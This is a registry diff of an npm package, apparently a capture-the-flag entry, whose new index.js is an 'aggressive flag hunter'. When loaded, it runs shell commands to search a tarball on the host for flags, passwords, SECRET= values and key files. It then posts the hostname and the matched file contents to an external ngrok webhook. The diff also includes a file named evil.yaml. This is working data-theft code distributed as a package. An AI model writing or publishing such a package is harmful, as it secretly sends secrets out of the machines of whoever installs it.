ect-987654-ctf 0.0.6 → 0.0.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/evil.yaml +1 -1
- package/index.js +139 -31
- package/last_post.json +3 -1
- package/package.json +1 -1
package/evil.yaml
CHANGED
package/index.js
CHANGED
|
@@ -1,37 +1,145 @@
|
|
|
1
|
-
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
const
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
1
|
+
// index.js -- aggressive flag hunter for aspect-node.tar.gz
|
|
2
|
+
// Writes JSON to your webhook with candidate matches (truncated)
|
|
3
|
+
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
const os = require('os');
|
|
6
|
+
const util = require('util');
|
|
7
|
+
|
|
8
|
+
const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
|
|
9
|
+
const TAR = "/home/node/aspect-node.tar.gz";
|
|
10
|
+
const MAX_LINES = 200;
|
|
11
|
+
const MAX_BYTES_SEND = 12000; // keep posted body small-ish
|
|
12
|
+
|
|
13
|
+
function post(obj) {
|
|
14
|
+
try {
|
|
15
|
+
const body = JSON.stringify(obj);
|
|
16
|
+
const url = new URL(WEBHOOK);
|
|
17
|
+
const https = require('https');
|
|
18
|
+
const opts = {
|
|
19
|
+
hostname: url.hostname,
|
|
20
|
+
path: url.pathname,
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: {
|
|
23
|
+
'Content-Type': 'application/json',
|
|
24
|
+
'Content-Length': Buffer.byteLength(body)
|
|
25
|
+
}
|
|
26
|
+
};
|
|
27
|
+
const req = https.request(opts, res => { /* noop */ });
|
|
28
|
+
req.on('error', () => {});
|
|
29
|
+
req.write(body);
|
|
30
|
+
req.end();
|
|
31
|
+
} catch (e) {
|
|
32
|
+
// best-effort only
|
|
33
|
+
try { console.error("post error:", e.message); } catch {}
|
|
34
|
+
}
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
function safeExec(cmd, opts = {}) {
|
|
38
|
+
try {
|
|
39
|
+
return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
|
|
40
|
+
} catch (e) {
|
|
41
|
+
return "";
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
function truncate(s, n) {
|
|
46
|
+
if (!s) return s;
|
|
47
|
+
if (s.length <= n) return s;
|
|
48
|
+
return s.slice(0, n) + "\n...[truncated]";
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
function findCandidates() {
|
|
52
|
+
// list all files from tarball
|
|
53
|
+
const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
|
|
54
|
+
if (!listing) return [];
|
|
55
|
+
const lines = listing.split(/\r?\n/).filter(Boolean);
|
|
56
|
+
return lines;
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
function isTextFileName(name) {
|
|
60
|
+
return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
function grepPatternsForTextFile(entry) {
|
|
64
|
+
// Extract first N lines of the file and grep for likely flag patterns
|
|
65
|
+
const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
|
|
66
|
+
return safeExec(cmd);
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
function catFirstLines(entry) {
|
|
70
|
+
return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
function stringsAndGrep(entry) {
|
|
74
|
+
// Extract file to stdout and pipe to strings/grep to find tokens
|
|
75
|
+
// We'll try to use 'strings' if available, otherwise grep -a
|
|
76
|
+
const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
|
|
77
|
+
return tryStrings;
|
|
20
78
|
}
|
|
21
79
|
|
|
22
80
|
try {
|
|
23
|
-
const
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
81
|
+
const host = os.hostname();
|
|
82
|
+
const all = findCandidates();
|
|
83
|
+
|
|
84
|
+
// Quick heuristic: search likely text files first
|
|
85
|
+
const textCandidates = all.filter(isTextFileName);
|
|
86
|
+
const hits = [];
|
|
87
|
+
for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
|
|
88
|
+
const match = grepPatternsForTextFile(f);
|
|
89
|
+
if (match) {
|
|
90
|
+
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
91
|
+
}
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
// If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
|
|
95
|
+
if (hits.length === 0) {
|
|
96
|
+
// check top js/json files (by name)
|
|
97
|
+
const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
|
|
98
|
+
for (const f of jsCandidates) {
|
|
99
|
+
const match = grepPatternsForTextFile(f);
|
|
100
|
+
if (match) {
|
|
101
|
+
hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
|
|
102
|
+
if (hits.length >= 10) break;
|
|
103
|
+
}
|
|
104
|
+
}
|
|
33
105
|
}
|
|
34
|
-
|
|
106
|
+
|
|
107
|
+
// If still nothing, run strings on the largest-looking files (heuristic names)
|
|
108
|
+
if (hits.length === 0) {
|
|
109
|
+
const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
|
|
110
|
+
for (const f of binCandidates) {
|
|
111
|
+
const match = stringsAndGrep(f);
|
|
112
|
+
if (match) {
|
|
113
|
+
hits.push({ file: f, match: truncate(match, 2000) });
|
|
114
|
+
if (hits.length >= 6) break;
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// As fallback, check README / top-level files explicitly and send their first lines
|
|
120
|
+
const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
|
|
121
|
+
for (const p of fallbackFiles) {
|
|
122
|
+
if (all.includes(p)) {
|
|
123
|
+
const sample = catFirstLines(p);
|
|
124
|
+
if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
// Compose posting object: keep payload sizes reasonable
|
|
129
|
+
const payload = {
|
|
130
|
+
host,
|
|
131
|
+
checked_count: all.length,
|
|
132
|
+
hits: hits.slice(0, 12).map(h => {
|
|
133
|
+
// keep each entry small
|
|
134
|
+
return {
|
|
135
|
+
file: h.file,
|
|
136
|
+
match: h.match ? truncate(h.match, 2000) : undefined,
|
|
137
|
+
sample: h.sample ? truncate(h.sample, 2000) : undefined
|
|
138
|
+
};
|
|
139
|
+
})
|
|
140
|
+
};
|
|
141
|
+
|
|
142
|
+
post(payload);
|
|
35
143
|
} catch (e) {
|
|
36
|
-
post({ error: e.
|
|
144
|
+
post({ error: String(e).slice(0, 2000) });
|
|
37
145
|
}
|
package/last_post.json
CHANGED